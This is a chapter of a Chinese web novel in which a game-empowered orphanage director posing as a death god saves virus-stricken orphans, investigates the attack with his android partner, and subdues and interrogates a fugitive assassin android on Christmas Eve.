【恐惧:100%(没有人不恐惧死亡,您既死亡的化身,即是恐惧本身)】
【您已解锁新身份玩法·死神模式!】
【出门在外, 身份是自己给的。当所有人都将你当作死神敬畏时,你就将掌控死神的权柄。】
【死亡对于无数生命而言,是未知而不可言喻的,但对你来说却不是。你可以随意地摆弄死亡,就像摆弄一堆儿童积木。】
【新手教程不如亲自上手一试,在卡尔克萨的幻影消失前,您将能随意体验死神模式的便利和有趣!】
弹窗出现得快,消失得也快,哈斯塔仅来得及将文字粗略扫了一眼,眼前的遮挡就自动消失,整个视野也大变模样:
所有鲜明的颜色都瞬间褪去了,他像是不慎坠入了一张胶卷底片。除了黑与白,唯二能见的色彩仅有绿和红。
绿色的光粒拥挤在所有活物身上,红色的“霉斑”在一片绿色汪洋中清晰可见。
哈斯塔很快便意识到那五处不断向外扩散的红色光点群是什么:病毒带来的死亡!
那他接下来要做的似乎就很简单了:剔除所有红色光点并碾碎,就像灰姑娘从炉灰里挑出所有豌豆。
他立即举步下楼,刚抬手想暂停时间,又想起模式描述中的那句:“当所有人都将你当作死神敬畏时,你就将掌控死神的权柄。”
暂停时间,在无人可见处救人当然可以,但眼下不正是坐实死神谣言的最佳时机?
谁会拒绝多拥有一份力量呢,反正哈斯塔不会。
他放下本准备打开游戏界面的手,转而切换出精神体形态——随后有些惊讶地发现,随着他数值面板的增长,他的精神体原体型不知何时,竟比一个多月前更庞大了数十倍。
当他垂下触须时,触须竟也只能从云层中勉强显露出一点尖梢。
他不由地因此走神了数秒:
虽说藏身于游戏背后之人目的的确可疑,但他的力量的确有随着游戏的进程一步步增长……促使他变得强大,这对幕后之人有何好处?难道对方不清楚,这是在养虎为患?
他并未因为这一掠而过的疑问浪费多少时间,很快便接着将触须探向那些显眼的红色“霉斑”。
而在诸多观众的眼中,这一幕仅仅是死神将垂天之镰刃缓缓抬起,又审判一般,将刃尖指向其中一个被病毒害得形容可怖的孤儿。
无数屏幕后,不知有多少人下意识地倒抽一口凉气,猛然抬手捂住嘴或脸颊。
罗伯特即便再恐惧,也要捂着脸发出惨烈的尖叫:“不!!别带走她的灵魂!选票,好不容易争取来的选票啊!!”
他这段时间花了多少时间和精力去公关媒体,塑造孤儿院和死神的正面形象?
都是为了能够利用这种正面形象,让罗南议员在采访和演讲诉说的故事中,树立“我乐于与正直、有职业操守的角色打交道,说明我也是正直、有操守的人”。
死神收割走那孩子的灵魂无可厚非,谁都能看出来那孩子身上腐烂成那样,铁定是活不成了。
但“知道现实”和“乐于接受这个现实”完全是两码事,罗伯特几乎能想象到观看直播的人在看见死神当面收割灵魂后,会有多么沮丧。
而“沮丧”,完全能让死神在众人心中成为一个负面形象。
这对死神来说没什么,甚至还会令人更加敬畏。但对这段时间的舆论策略是将自己和死神、孤儿院绑在一起的罗南议员来说,绝对会是一记沉重的打击。
他不由地绝望地将脸埋进手掌里,拒绝去看具有双重恐怖意义的收割画面。直到罗南女士微颤的声音惊喜地响起:
“腐烂!腐烂停止了!!伤口上长出了新肉!哦上帝……罗伯特!罗伯特你快看!死神救活了那些孩子!!”
“什么?!”罗伯特这样一个平素沉稳的人,差点从沙发上蹿跳起来。
他猛然放下手,看向屏幕,就见先前那柄巨镰早已消失,仅剩镜头狂喜地拼命往前挤,试图抢到更好的位置,拍摄那些奇迹般死里逃生的孤儿。
沉寂已久的评论区再次井喷式地刷出大量评论:
【过去十四年,我一直都是无信仰主义者,但从今天开始,我决定信仰死神!】
【我家里人差点跟我吵起来。他非说那不是死神,是他在摇篮教信仰的黄袍之王哈斯塔。】
【我家人也是,但有没有一种可能,这俩其实是同一个存在?就像阿波罗,同时掌管着光明、预言、音乐……一堆神职。】
【为什么死神会救人??没人感到怀疑吗?我觉得这孤儿院院长说不准是黑巫师什么的,跟死神达成了某种交易】
【哦拜托,你觉得人类得付出什么,才能和这种量级的存在达成交易?比起这个,我更倾向于猜测,这个孤儿院是走了狗屎运,刚好建在死神的府邸上……刚刚那些黑色建筑,你们都看见了吗?那绝对就是死神的府邸,是死亡之城!】
【如果死神真的有偏袒,那孤儿院后院就不会立着那么多墓碑了。我觉得今天这事,可能是那几个孩子在死神的档案里显示不该今天死亡,所以死神就顺便捞了一把?】
【不对啊,之前死神降临乔伊街分警署,因为本该收走的死者被人救下,所以祂选择离开;那今天即便这些孩子不在死亡档案上,死神也该把他们的灵魂收割走啊?】
【也许死神很心软?也许我们根本不懂死神的行动规则。
说真的,你们真要把死神在什么情况下收割灵魂算得清清楚楚?要知道,死神说到底就是死亡的具象化。
我们能把死亡算得清清楚楚吗?谁能猜到自己会在哪一年哪一天死?是因为病逝还是意外?】
【不想思考,我只想说,死神和哈斯塔真是同一个神明吗?祂有自己的教堂吗?】
恐惧随着死神离去、孤儿被救,重新变成欢庆的海洋。
某私人会所里,莫提默爵士呆呆张着嘴,注视着直播屏幕,半晌空白的大脑才恢复运作,有些摇摇晃晃地起身出门:
“……我想我需要休息。上帝,今天简直像一场噩梦,也许我回去躺上床,才会发现自己其实一直在做梦?”
他的幕僚们同样难以接受事实:“还有那群流浪者团体,到底为什么会在那种时候突然出现?”
就是有那么巧合,他们推门而出时,隔壁的隔壁的大门同时被推开。
米迦勒之翼的高层们挂着同样费解的表情走出来:“——还有那群记者,到底为什么会出现那么多记者??”
双方都听见了对方的声音,不约而同地抬头,不约而同地噤声,又不约而同地灵光一现,猜出所有:
“——草!是你们!!那一堆孤儿和记者是你们出的馊主意!”
“你们喊一群流浪者来帮孤儿院打人体广告,难道就是什么很聪明的主意吗?!”
夹在中间的套房里,重新恢复冷静的罗南议员和罗伯特,挂着同款愉快(或许还掺杂着些许幸灾乐祸)的笑容,侧耳倾听走廊里的撕逼声。
直到走廊静下来,罗南议员还有点恋恋不舍:“哦,我以为他们会吵得更久一点,或者打起来。”
“你能指望一群坐办公室的老爷们有多好的体力?”罗伯特一本正经地晃晃手机,“但我录了音,以备未来您在任何时候有需要。”
至于这个“需要”是排遣疲惫无趣的需要,还是威胁政敌的需要,那就一切尽在不言中了。
·
一整场闹剧下来,哈斯塔不能说不亏,只能说血赚。
孤儿院升级了,声望升级了,钱也赚了。
就连上百号人的流浪者团体,他也在提出“达成和解、不追究责任”后,直接收入囊中,日后自有游戏强制系统和老员工们教他们做人。
令他感到加倍惊喜的是,这些流浪者各个都有着不错的文化素养,意外还给他输送了教学人才……
“你看起来晚上睡觉都会笑醒。”G8273在打来的视频电话中点评哈斯塔试图忍笑的表情。
他穿着一身深蓝色的深V睡袍,大片坚实的胸膛从布料下露出来,在灯光下很是惹眼:“严肃点,我们正在谈论最后的病毒是哪一方下的手。”
哈斯塔觉得G8273懒洋洋的坐姿就很不严肃,敞开的衣领更不严肃,谁在大冬天这么穿睡袍,尤其这人还是个强迫症。
但他看破就不说破,故意依言板起脸:“莫提默不会这么做,他还要考虑自己的政治前途,最多搞点阳谋。”
“也不是米迦勒之翼做的。”G8273懒散地撑着额头,目光却很精神的在哈斯塔身上打转,“我查过他们的所有记录,那款生化病毒并不在他们的实验成果之内。”
他稍微调正了点姿势:“也许我们该换个角度思考,譬如对方为什么会选在现在动手?”
那几个身怀病毒的孤儿,来自不同大区,很明显是有人提前得知了莫提默的计划,又利用了莫提默的计划,就为了能把这几枚毁灭性的“炸弹”送进孤儿院。
孤儿院平素立下的敌人不多,排除掉莫提默、米迦勒之翼,几乎想不到别的人选。
究竟是什么人,会如此挖空心思,想袭击孤儿院?
哈斯塔思索:“小汉克·文森特?”
“你觉得我会放任隐患到处乱跑?”G8273挑眉,“董事会结束第三天,我就把他送进监狱陪老文森特了。”
那哈斯塔还真想不出什么人会如此想消灭孤儿院了。
他将自己的思路往前倒推了推了,重新退回G8273提出的问题:
对方为什么会选在现在动手?
哈斯塔沉吟:“近期孤儿院做的事……和以前不同的似乎只有两件。”
“一是制造军火,但没投入市场,就意味着没有竞争对手会使手段。”
“二是之前那次逮捕行动的直播……”
忽然之间,仿佛有几颗散落的珍珠滚落在一处,发出清脆的碰撞声,哈斯塔灵光一闪:
“——G,还记得我之前说的,我觉得芬尼安和雷蒙德的眼睛很像吗?”
他之前一直想不明白,在原剧情线里,芬尼安一个在凤凰区活动的人,到底是怎么跑到缄默镇当迪思默帮二代头目的;
这一次,老雷蒙德又有什么理由对芬尼安特别优待,芬尼安仅仅到达缄默镇三天,就得到了来自迪思默帮的晚宴邀请,还和老雷蒙德约上了碰面。
G8273彻底坐直了身体:“你真觉得他们之间有血缘关系?但这和这次的病毒袭击又有什么关联?”
哈斯塔回忆起当初自己还曾看着芬尼安和胡斯卢一大一小两个头像傻乐,所有的线索,在这一刻无比清晰地串联起来:
“如果胡斯卢和芬尼安很像,不是一个巧合呢?如果胡斯卢和芬尼安,和老雷蒙德,也有血缘关系呢?”
孤儿院可能触发敌人攻击的特殊事件只有两个,既然不是制造军火,那就必然是直播。
那一次直播,将孤儿院的院内学校也带入了镜头,胡斯卢当天就在那里接受学员的幼儿识字教育!
而在人群之中,唯一会对胡斯卢的存在十分敏感,甚至还想除掉的,只可能是迪思默帮的利益相关者,这又恰好和任务提示他的迪思默帮内藏着敌人刚好吻合!
G8273跟上了哈斯塔跳跃性的思路:“但照你的这个“血缘假设”来推,敌人如果会因为担心胡斯卢的继承权而下杀手,为什么不对芬尼安下杀手?”
“他不知道芬尼安也是老雷蒙德的后裔?难道他看不出芬尼安和胡斯卢的相似之处?”
哈斯塔语速加快:“所以他对胡斯卢下手,却不对芬尼安下手,一定还有别的理由。”
G8273忽地顿住了:“因为胡斯卢的身世?”
胡斯卢,一个长得和芬尼安十分相像,很可能同为老雷蒙德的后裔,但大脑发育明显存在问题的少年。
敌人在发现芬尼安这个智力正常的继承者时不动手,却对胡斯卢这个大脑发育有问题的无威胁继承者痛下杀手……
哈斯塔将这一切和主线任务串一串,不难得出一个合理的猜想:
“胡斯卢并不是正常诞生的孩子,他很可能诞生自康内琉斯的实验室。”
实验失败,所以胡斯卢才存在大脑发育缺陷。
他是从实验室里逃出来的,所以才明明看起来被养得很矜贵,家庭条件应该不错,达斯汀却未能找到胡斯卢的家长信息。
“但敌人为什么要创造这样一个继承了老雷蒙德血脉的孩子?这对Ta来说有什么好处?”G8273有时还是很难理解人类的思维:
“还有,既然这个孩子如此重要,发现就要百经周折地抹杀,那为什么他会从实验室里逃出来,流落到涅槃帮帮众的手里?”
单是推想,很难得出结论。但好在哈斯塔不需要推想后一个问题。
他直接下楼问了一圈,总算在一个正躲在公共卫浴里摸鱼的学员口中得到线索:
“胡胡胡斯卢?是我们捡的啊。”学员被从隔间里强行拖出来,都不知道该先藏响着游戏BGM的手机,还是先提裤子。
在这种无助又脆弱的状态下,他回答得很快:“我们那时候在沙漠废土里交货,回程的路上看见那孩子晕在沙地里,就带回帮了。随手一捞,也没想到后来会经历这么多波折。”
学员总算系好了腰带,又有了厚脸皮的底气,凑过来八卦:“怎么?胡斯卢有什么问题?”
哈斯塔:“……”
问题大了去了,在主线任务里,沙漠废土绝对也算一个关键词,将他们现有的信息拼凑组合,不难得出一个结论:
“康内琉斯如果有实验室,一定在沙漠里。胡斯卢是从实验室里逃出来的,这可能性相当之大。”
哈斯塔将自己问得的消息跟G8273复述了一遍,又如此总结。
G8273陷入回忆:“我记得有关沙漠废土,我们也有些谜没解开。”
譬如“流淌着无尽黄金的沃土”的传说;还有当年死于孤儿院地下的人,究竟为什么要在死前用血,在墙上写下这个传说?
视频两端一时安静下来。
哈斯塔在沉思间依稀听见G8273那边传来欢快的音乐声,不甚清晰,大概声源在大厦楼外:“那是什么音乐?”
“嗯?”G8273抽回神,侧耳听了一下,“《Jingle Bells》。庆祝圣诞节的歌。”
哈斯塔从没过过这个节日:“今天是圣诞节?”
“不,还要再过几天。但是人类的商店经常在圣诞前夕就开始放这些歌,出售各种装饰物。”
G8273主动停止了思考,透过视频看过来,他的唇畔带着温和真实的、不掺杂任何散漫或嘲弄的微笑:“今年的圣诞,要不要一起过?”
与此同时。
高佩街,综合公司顶层。
无人开灯,数百平的办公室空荡而寂静,沉眠在冰冷的夜色里。
大片的落地窗边,公司的两位话事人——也是公司如今的掌权者,置于人类金字塔最顶尖的两位无冕之王,难得共处一室,利奥替克拉克倒了半杯雪莉酒:
“我以为你今晚准备飞鸟巢港,怎么突然跑回高佩街了?因为罗南替政府军下的那个订单?”
克拉克不置可否地接过酒杯:“我找到了一件失物。”
“?”利奥很快反应过来,又感觉不可置信,“你是因为那件‘失物’回来?什么东西这么重要,能让你取消行程?”
“一件本该早早销毁的失物……”克拉克的神情中带着思考,似乎他也不确定自己的这次决定是否明智,“我想试试能否用祂钓上一条大鱼。”
一条迄今为止,公司还在为失去他而扼腕的大鱼。
·
不论阴谋在何处诞生、在何处败落,时间永远不会为任何人停下脚步——除非是游戏里的哈斯塔。
12月24日下午4点,一直留在缄默镇的芬尼安带着大包小包,骑着心爱的改装摩托驶回孤儿院,并一头扎进厨房。
12月24日晚上5:30,G8273驾驶着悬浮车,将还在警局的达斯汀捎带回孤儿院。
12月24日晚上5:45,哈斯塔揣着被塞满怀的礼物,告别兴冲冲各自回家的队友,回到巢穴。
12月24日晚上6:00,哈斯塔准时登录游戏,从床上弹射而起——起——
他没坐得起来。
黑灯瞎火的卧室里,G8273不知何时坐在他床边,身体半压着他,一只手臂越过他的身体,左手撑着额头,饶有兴致地观察他的脸:“所以,你说的下线会自动休眠,是这种状态。”
哈斯塔听到楼下传来一阵鬼哭狼嚎:“他们在干什么?阿道夫圣诞前夜还要加课?”
“恰恰相反,是结业典礼。”G8273直起身,伸手将哈斯塔拉起来,“有一批优秀学员在今天成功毕业,他们大概是在为可以不用再挨阿道夫揍而高兴。”
G8273觉得独立学院把毕业日设置在今天还挺妙的,双喜临门。
楼下传来杂乱的脚步声。芬尼安无语凝噎的声音先传上来:“我说了达斯汀,他们不会打起来,除非是妖精打架。”
“你在说什么胡话?”达斯汀语带担忧,“就说了让你不要一边烹饪一边灌酒,晚餐还没开始你就喝了个酒饱,现在又在说醉话。”
达斯汀很理智地指出:“如果他们真如你说的关系早就不同往日,那你为什么不早说?偏要等今天喝醉酒后再说?”
“???”芬尼安大怒,“我这不是在缄默镇忙着谈合作、忙着盯原材料运输,还要调查迪思默帮内部、应付珍妮和西蒙轮番的试探,我哪有那个时间想起这个!!”
当然,也是因为他存着一部分的私心,想要亲眼目睹同伴们得知真相后的破防神情,而不是只能隔着电话想象……谁知道拖来拖去,同伴们居然不相信他说的“院长和G8273在一起了”!
芬尼安攻守一转,一把抓住达斯汀的手腕就往楼上冲:“我现在就带你去看看证据——院长!跟G8273亲一个!”
哈斯塔看着冲他豪爽挥手的芬尼安:“……”
罢了,圣诞节,满足员工小小的心愿。
哈斯塔很干脆地攥着G8273的衣领,将人拽下来嘴了一个:“满意了?”
芬尼安得意地微微扬了下下巴,冲着达斯汀投去瞥视:“信了?”
“我看你是真的醉了,亲的这么爽快,明显是这俩不懂人类风俗的非人类,以为这是在开直男间的玩笑。”
达斯汀忧心忡忡扶了一下芬尼安,又紧跟着转头对无言以对的哈斯塔、G8273谆谆教诲:
“这个玩笑不能乱开,明白吗?在人类这儿,直男之间是不会亲嘴的。我不知道你们在网上学了什么,总之搜索引擎不能全信,都给我忘掉。”
没给哈斯塔任何解释的时间,达斯汀匆匆说了句“快下来开饭”,就拽着芬尼安立刻卧室,期间还能听见芬尼安悲愤交加的嚷嚷:
“你还不信!!你说你放G8273上去都多久了!俩直男能黑灯瞎火呆一屋半小时吗?怎么,看夜光手表?”
“真的是之前忙忘了,我没喝醉,我看起来像喝醉的样子吗?今天也不是愚人节……”
“咚。”
院长室的门被不轻不重地关上。
昏暗的卧室内,G8273探身靠近,语气正经:“我们是不是该替芬尼安平反?诚实的人不该被冤枉。”
“你不如说吃醋的人不想被误会。”
哈斯塔面不改色地捉住G8273温暖干燥、探入被褥的手,下一秒,又被力道有些过重的手弄得有些气息不稳:“等下……下面还有人在等我们聚餐。”
G8273的眼睛隐隐在黑暗中亮起幽光:“等不到人,他们会自己开席——谁?!”
基于某些日复一日养成的习惯,如果说哈斯塔玩游戏是时看地图时不看,那G8273就是不论何时何地,都开着地图扫描。
好比此时此刻,他就扫描到一道几乎与环境融为一体的身影,正壁虎般趴伏在卧室无窗的墙壁之外,无声地冲着一墙之隔的他们举起手中的武器。
炮弹轰炸声几乎与楼下的欢呼前后重合:
“平安夜快乐!!”
“轰——”
第47章 第 47 章 简直像是吸了一口软绒绒……
卧室侧面的墙壁骤然炸开, 哈斯塔抬手挡开迸溅而来的碎石块,无视足以将人碾碎的震荡波和扑面而来的焦火浓烟,精神触手悍然挥向袭击方向!
滚滚黑烟被这个动作挥散几分, 哈斯塔借这个间隙定睛看向豁口:“人——”
后一个呢字还没出口,哈斯塔就感知到面前气流的变化:
有什么肉眼不可见的事物, 正以十足的气力, 用尖锐的东西破开空气,笔直地扎向他的太阳穴。
第二根精神触须立即挥出,哈斯塔翻身从床上一跃而下,下一瞬,床被他避让开的攻击轰然拆塌。
楼下传来人群惊疑警惕的叫嚷, 咚咚的脚步声杂乱地靠近。
G8273冲哈斯塔丢来一副红色镜片、乍一看和防风镜很像的金属框眼镜:“他能隐形!”
哈斯塔一只手去接特殊眼镜, 另一只手拉开游戏界面。在恼火地想着“我的新卧室!”和“别影响圣诞节”之间,他将触须狠狠绞向敌人最后一次攻击暴露出的位置。
然后,他发现了一个相当震悚的事实:
“他没有被时间暂停……”哈斯塔思绪几乎短路地喃喃, 伸去接特殊眼镜的手抓了个空。
那副能够揭露敌人位置的眼镜在空中被击碎,缭绕的烟雾和火焰隐约勾勒出敌人行动的身影。
一米七多的个子,纤细瘦削的少年身形。他的动作迅捷得像鬼魅, 仅仅是眨眼的功夫, 那道被烟与火勾勒出的轮廓就再次淹没不见。
但堵在另一侧的G8273没给对方一击不成、重新调整的机会, 他直接冲着敌人的方向改写现实, 哈斯塔的精神触须也借着这个敌人被拖延住的机会, 狠狠甩出!
“咔……”
这一次,哈斯塔的触须击中了某种坚固的、类似金属质地的硬物。
敌人被这一鞭抽出房间,砸落至黑湖岸边的礁石上,发出类似塑料器皿破碎的声响。
两人都没给敌人喘息的机会。
哈斯塔的精神触须暴涨,十来根手腕粗的触须如同刺向吸血鬼的尖锥, “噗嗤”几声扎入敌人的身躯。
G8273紧跟着敌人,从豁口处一跃而下,抬手一把按住敌人的双肩,将对方隐身的能力彻底抹去。
遮掩着银月的云层渐渐飘开,月光落在被十数根触须钉穿,但仍旧挣扎不定的敌人身上。
这似乎是个重度改造的狂热爱好者。
他抛弃了自己原本的脸,以一种廉价的塑料质地植入体替代。此时这张廉价的假脸因打斗残损了四分之一,暴露出下方的血肉和接线,断损处滋滋冒着火花。
他还有一双银色的金属臂膀,脖颈同样被完全替换,仅有一根机械骨骼和大量的电缆线。
哈斯塔从卧室飘下来,同样仔细地慎重打量眼前的敌人。
他是什么来历?为什么能够在时停状态下行动自如?
为什么明明看样子是人类,却拥有隐身的能力?这一切是否和康内琉斯的实验有关?和游戏有关?
“他看起来像是被控制了。”哈斯塔在G8273身边半蹲下来,“我能从他身上闻到强烈的求生欲望,但他一直在剧烈挣扎,这只会让他受的伤更严重。”
G8273的目光在哈斯塔的触须捅开的布料豁口上停了几秒,伸手撕开敌人的衣服:“他不是人类,人类没有这么无暇到没有任何纹路的皮肤。”
“——这应该是一具仿生人。”
“?”哈斯塔疑惑地看向G8273,“但我们见过仿生人,在地下室,他们的肢体都是机械构成的——”
哈斯塔倏然反应过来:“你是说,他很有可能就是那个在存在之战中幸存下来,导致公司不得不下令摧毁所有仿生人,以防漏网之鱼浑水摸鱼的F系仿生人?”
这么说的话,这个家伙能够抵抗时间停滞就可以理解了——F系仿生人是康内琉斯的杰作,谁知道康内琉斯当初在创造F系仿生人的时候,有没有借助潘多拉魔盒的力量?
哈斯塔看向敌人涣散无神的眼睛:“但他现在看起来像被什么东西控制着。不是精神层面的操控,大概是仿生人指令一类的……你能不能关掉?”
“正在解决。”G8273的光瞳中跳跃着连串的字符,“他身上还有其他限制……有人关停了他的自主学习能力。”
出于谨慎考虑,G8273暂未解开后一种限制,只解决了前一种指令。
原本还在狂乱挣扎、不顾内脏出血的敌人渐渐安静下来,那双涣散的肉桂色眼睛逐渐变得有神,茫然和仓皇渐次浮上来,柔润的泪光很快充盈了这双色调温柔的肉粉色眼眸。
孤儿院众人刚随着时间停滞被取消,冲入后院,就对上这么个画面。
要不是墙面上被轰炸出的豁口还在,都要以为院长暴走在虐杀什么柔弱无助的小可怜了:
“这是谁?”
“还没问,”哈斯塔并不确定敌人当下的表现是否是伪装出来的,想麻痹他们的戒备心,因此并未收回触须,只抬手拍了拍少年模样的敌人的脸:
“我能闻嗅到强烈的求生欲,你想活下去,对吗?那就回答问题:你是谁派来的,为什么袭击孤儿院?”
会是康内琉斯吗?为了销毁胡斯卢这一流落在外的实验体?哈斯塔一边警戒着敌人的反应,一边想。
但出乎他意料的,敌人的回答是:“是……是公司,他、他们发现了我的存在,假借谈生意找上门,给我下达了杀死哈利孤儿院院长的指令……”
和被控制时的杀伐果决、刀锋般的做派不同,解除控制后的敌人甚至是怯生生的,像只在邪恶触手怪的淫威下颤颤抖抖的兔子,跟达斯汀放一起简直能凑成一对无害的兔子兄弟。
哈斯塔没有闻到任何谎言的气息,倒是吸了一鼻子的“害怕、想哭、但是要忍住”:“……这次袭击和康内琉斯没有任何关系?”
“康内……”敌人茫然了几秒,才后知后觉意识到哈斯塔说的是谁,“没见过……创造者。”
兔子的眼泪要掉不掉了,显然正在因为疼痛而拼命忍耐。
哈斯塔呼吸着空气中的激素信息,感觉自己简直像是吸了一口软绒绒的兔头。他真是平生头一次遇到这种哆哆嗦嗦的食草系生物:“……G,给他疗伤吧。”
即便敌人没有表现得这么可怜,他也不能再继续用触手钉着对方,放任对方翘辫子然后线索断掉。
哈斯塔收起触须,驱赶想要吃瓜的员工未遂,只得就近找了块礁石坐下,跟表演什么露天话剧似的,在百来号吃瓜群众的包围下继续审问:
“你的来历、你是如何在公司的追捕下度过这些年的、你知道什么与康内琉斯有关的消息——想清楚,然后按照时间顺序,回答我的问题。”
等待兔子转动小脑瓜组织语言的空挡,哈斯塔自己也在考虑几个问题:
第一,康内琉斯制造仿生人的技术既然已经如此完备了,为什么还会造出一个有缺陷的胡斯卢?
难道是因为失去潘多拉魔盒,所以做不到完美复刻了吗?
第二。
即便F系仿生人脱离公司多年,依旧会在被找到后,受到公司命令的控制。即使这命令与自己求生的本能相违背,他都会优先执行命令……
那当年的存在之战,是怎么兴起来的?公司难道没有下“不准许伤害人类”之类的禁令吗?
以及,在他和G8273阅读的电脑日志里,记录者明确描述了自己“试图劝说爱人违背公司指令——认为自己的劝说不可能成功——爱人答应违背公司指令,和自己私奔”的全过程。
当年那些普通仿生人,又是如何违抗公司指令的?
一直到敌人小心翼翼地开口,哈斯塔还在思考第三个问题:
那些被困在地下室的人,为什么会如此在意那个“流淌着无尽黄金的沃土”的传说?
按理来讲,他们应该只会关注能够帮他们解围,或者与仿生人现况有关的信息,这个黄金沃土的传说究竟是前后哪一种?
“我、我也不知道哪些信息,和创造者有关,”兔子……不是,敌人的眼睛一下一下瞄着豁口,活像吃霸王餐没带钱被扣下来,生怕被要求以身抵债似的:
“我只能,从我最初的记忆说起,因为那两年,可能是我与创造者最接近的时期。”
说是“最接近”,但实际上他和康内琉斯从未蒙面。
“我是在,17年前,AF54年1月1日被制造出来的。”
“那时候,制造F系仿生体的工艺已经非常完善了,整个车间并不需要人工看顾,单凭机械就能完成所有的流水线……我是第2116个被机械爪,从培养皿中制造出的F系仿生人。”
于是他很自然地拥有了一个属于他的代号:F2116。
吃瓜员工们不由自主地看向G8273,芬尼安最直接:“这代号听起来和你很像啊,G?嘶……DEFG……加百列,你该不会是排在F系之后,被康内琉斯制造出的F系仿生人pro吧?”
G8273似笑非笑的表情像是要把芬尼安打成pro:
“不,我的创造者叫做米泽西戴。给我取G8273这个代号也不是因为制造顺序,只是开了个老式九键输入法的玩笑。”
“你如果在手机上试着输入G8273,就会得出一个单词‘guard’(守护)。暗喻着我的创造者,期望我能够成为像加百列那样的守护天使。”
“……”芬尼安觉得G8273跟“守护天使”还是有亿点差距的。虽然对于他们院长来说,G8273的确是挺像召之即来挥之即去的guard angle(守护天使)……
F2116局促地坐在原地,浓长的睫毛因不安而微微扑闪,一双眼睛就藏在睫毛下偷偷瞅来瞅去,试图弄清楚自己能不能继续讲述了,还是得再等一会。
哈斯塔看看在人群的注视下畏畏缩缩、像是试图把自己蜷缩成兔子团的F2116,再看看被自己养得现在很嚣张,已经逐渐将茶壶式威严叉腰列为自己标志性动作的达斯汀,再次赞叹了一下自己养人的水平,冲着F2116颔首:“你接着说。”
F2116不着痕迹地松了口气,结结巴巴地再次开口:“F、F系仿生人,和其他系不同,并不是为了陪伴而制造的,而是作为可决定战场战局的、可一次性使用的武器而制造的。”
“我在2岁以前,就一直跟随同伴,依照公司的指令完成任务。但在AF55年末……公司在内部举行了一次‘能力检测’,检测的内容是——”
“斗蛊。”哈斯塔居然从F2116的经历中找到了一丝亲切感,因为他也曾经历过这种名为“能力检测”,实为养蛊斗兽的表演性战场。
当然,“表演性”仅仅是针对有闲余时间来观看战斗的公司员工们来说的,对于他们这些要上战场的非人类,那就是实打实杀不死别人、自己就得死的战场。
这种“能力检测”,一直到不管实事、从不露面的老板重新掌权,才被严令禁止,哈斯塔也得以从研究中心走出来,成为广大社畜中的一员……
F2116忙不迭地冲着哈斯塔点头:“是、是的。”
哈斯塔略感错愕且无语地发现,大概是因为他一次替F2116解围,一次主动接住F2116的话茬,这只兔子居然开始用抓住救命稻草似的濡慕目光盯着他看,以此躲避其他盯着自己的目光。
F2116吭叽:“总、总之,这件事在我们同伴的行列里,掀起了轩然大波,大家都不想拿自己的命,去娱乐那些公司高层。”
“但命令是不可违背的……在AF56年1月1日到来前,有上千名F系同僚战死在‘能力检测’中,活下来的同僚,都无比愤怒。”
“然后,在AF56年1月1日凌晨,有人解除了限制我们的各项禁令。”
于是,轰动一时,却又结束得悄无声息的存在之战,开始了。
G8273微蹙起眉头,一边思考一边踱了几步:“有人解除了你们的禁令……谁?康内琉斯?”
“我觉得不可能。”哈斯塔说到一半,突然发觉G8273看似漫不经心走的这几步,直接挡住了F2116投向自己的目光,登时无语凝噎了几秒,伸手将人排开:
“如果是康内琉斯出的手,存在之战根本不可能爆发,就算爆发了也不可能失败。”
按照他们搜集的信息来看,康内琉斯是一个能力强劲,且足够睿智、目标清晰坚定的人。
如果康内琉斯是看不下去F系仿生人的遭遇,所以想要出手捞人(这种可能性很小,毕竟按老雷蒙德的说法,康内琉斯完全是一个毫无道德底限、不存在敬畏之心的科研疯子),他一定会目的清晰地直接给仿生人们下达逃生的指令,而不是放任仿生人们跟公司纠缠,爆发战斗。
如果康内琉斯是想利用仿生人攻击公司,达成某种野心,那以康内琉斯制造“沉没的康纳士”、量产F2116的能力,公司根本不可能有反抗的机会。
谁能数得清公司里有多少造物都出自康内琉斯之手?这些造物都是最拔尖的那一批,康内琉斯想要反制公司,怎么可能失手?
换句话说,当年的仿生人暴.动,一定有隐藏的内幕,这内幕或许与康内琉斯无关,是另一拨人动的手。
哈斯塔不由得揉了下鼻梁,冲着快被G8273吓得恨不能装死的兔子……不是,F2112点头:“你接着说,存在之战爆发,然后呢?”
“然、然后,”F2116简直泫然欲泣,在G8273越发不善的注视下摇摇欲坠,“公司的武装部队就拿着最精良的武器(哈斯塔不用问,这武器肯定也是康内琉斯的手笔,这是什么赛博版‘以彼之矛,攻彼之盾’),第一时间控制了指令室,重新打开禁令。”
“我们付出了很大的代价,才将一个同伴送进指令室,再次关闭禁令。”
“但这位同伴本来就身负重伤,很快也被公司派来增援的部队杀死了……”
G8273短暂地收回泡了柠檬的眼神:“所以,当年从存在之战里活下来的F系仿生人,除你以外还有多少个?”
“……”F2116说不出话地摇摇头,脑袋垂了下去,“他们……付出了很大的代价,只送出了我一个。”
时隔多年,存在之战仍因其“开始的莫名其妙、结束得也莫名其妙,最莫名其妙的是一场大战开始和结束我们谁都不知道,光听公司搁那儿张嘴空谈”而被众多人津津乐道。
但没人知道,他们正抱怨、感到饶有兴致的八卦,实则是F系仿生人的灭族之战。
F2116诞生于AF54年,出逃于AF56年,相当于2岁时,就亲眼目睹自己的数千余名同胞在一夜之间惨死,而付出这么大的代价,换来的仅仅是他一个人存活。
F2116抬不起头,似乎在为活下来的人是自己而羞愧,为自己如今一无所成而羞愧:
“操控我们的禁令一共分两个部分,一个部分负责下达禁令,这部分装置被安置在指令室里。另一部分在我们的后脊……”
这才是他的脖颈部分没有血肉、只有机械骨骼和电缆的原因。
对于当时仓皇出逃的他来说,只有将自己摧毁一次,才能获得新生。为此,他毁去了自己的脸,以免被再度辨识出来;他摧毁了自己小半个身体,才将后脊骨里的控制芯片挖出来碾碎。
“但我的速度还是慢了点,在我挖出控制芯片之前,他们仍然开启了一项禁令。”
指挥室里的装置,其实也已经被他的同伴们摧毁的差不多了。公司的支援部队气急败坏之余,也只能乱按一气,最终启动的是针对他学习能力的禁令。
芬尼安没想明白:“这禁令有什么影响?你都能出任务了,应该也不缺什么知识储备吧?”
F2116短促地抬头看了一眼芬尼安,芬尼安在那双肉桂色、泪意氤氲的眼底瞥见一片茫然的荒芜:“我,无法学习任何技能。只能重复从前拥有的技能。”
公司利用他们刺杀、潜入,要求他们绝对服从指令;他就只会刺杀、潜入,绝对服从指令。
他此时的无害,并非全因对眼前的陌生人并无敌意,更多的是因为,他是一具武器,他只会服从指令。
现在没有人对他下达指令,因此他才乖乖坐在被人按坐下来的地方,回答一切对方提出的问题。
离开公司,藏身于人海15年,他依然是一具空壳的武器。
